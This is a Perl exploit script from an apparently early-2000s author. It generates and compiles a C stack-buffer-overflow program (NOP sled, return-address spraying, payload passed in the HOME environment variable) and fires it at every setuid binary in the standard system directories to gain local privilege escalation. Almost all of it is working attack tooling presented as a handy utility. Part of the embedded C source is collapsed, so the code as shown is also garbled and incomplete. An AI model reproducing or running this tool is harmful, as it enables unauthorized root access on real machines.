#!/usr/bin/perl # Probes each suid binary against a standard # buffer overflow program (both with and without # the use of environmental variables). # by bansh33 [www.r00tabega.com] # some code taken from various overflows by v9 [www.fakehalo.org] # by default, this runs offsets from -1000 to 1000 in 100's. # I wrote this recently and have found it *incredibly* useful # to quickly check any weak binaries. $offset = 700; #read comments below for looping offsets further down system("clear"); print "Generating basic buffer overflow.."; open(writecode, ">bof1.c"); print writecode "/\* usage: ./bof1 [offset] [path] [progname]\n"; print writecode " this code written mostly by v9 \*/\n"; print writecode <1){offset=atoi(argv[1]);} else{offset=DEFAULT_OFFSET;} ret=(esp()-offset); printf("return address: 0x%lx, offset: %d.\n",ret,offset); for(i=1;i<241;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(237-strlen(exec));i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); setenv("HOME", bof, 1); execlp(argv[2], argv[3], bof, 0); } EOM close(writecode); print ".. done.\n"; print "Compiling overflow.."; system("gcc -o bof1 bof1.c"); print ".. the overflow should now be compiled.\n"; # build list of suid (4755) binaries in /usr/bin, /usr/sbin, /bin, and /sbin. print "Finding suid binaries.."; @suid = `find /usr/bin /usr/sbin /bin /sbin -perm 4755`; print ".. found.\nStarting tests...\n\n"; foreach $path (@suid) { chomp($path); @binary = split(/\//, $path); $j = 0; foreach $test (@binary) { $j++; } $progname = $binary[j-1]; print "Testing $path...\n"; # Here is a simple loop offset routine, commented out by default: # for ($offset = -1000; $offset < 1000; $offset=+100) { # print logfile "Output at offset $offset\:\n"; # system("./bof1 $offset $path $progname"); #} # Be warned, looping offsets does so for EVERY suid binary # and can take a VERY long time. Unless you really need to, # it is recommended to use pre-set offsets. system("./bof1 $offset $path $progname"); } print "Finished... cleaning up..\n"; #system("rm -f bof1 bof1.c"); print "done.\n";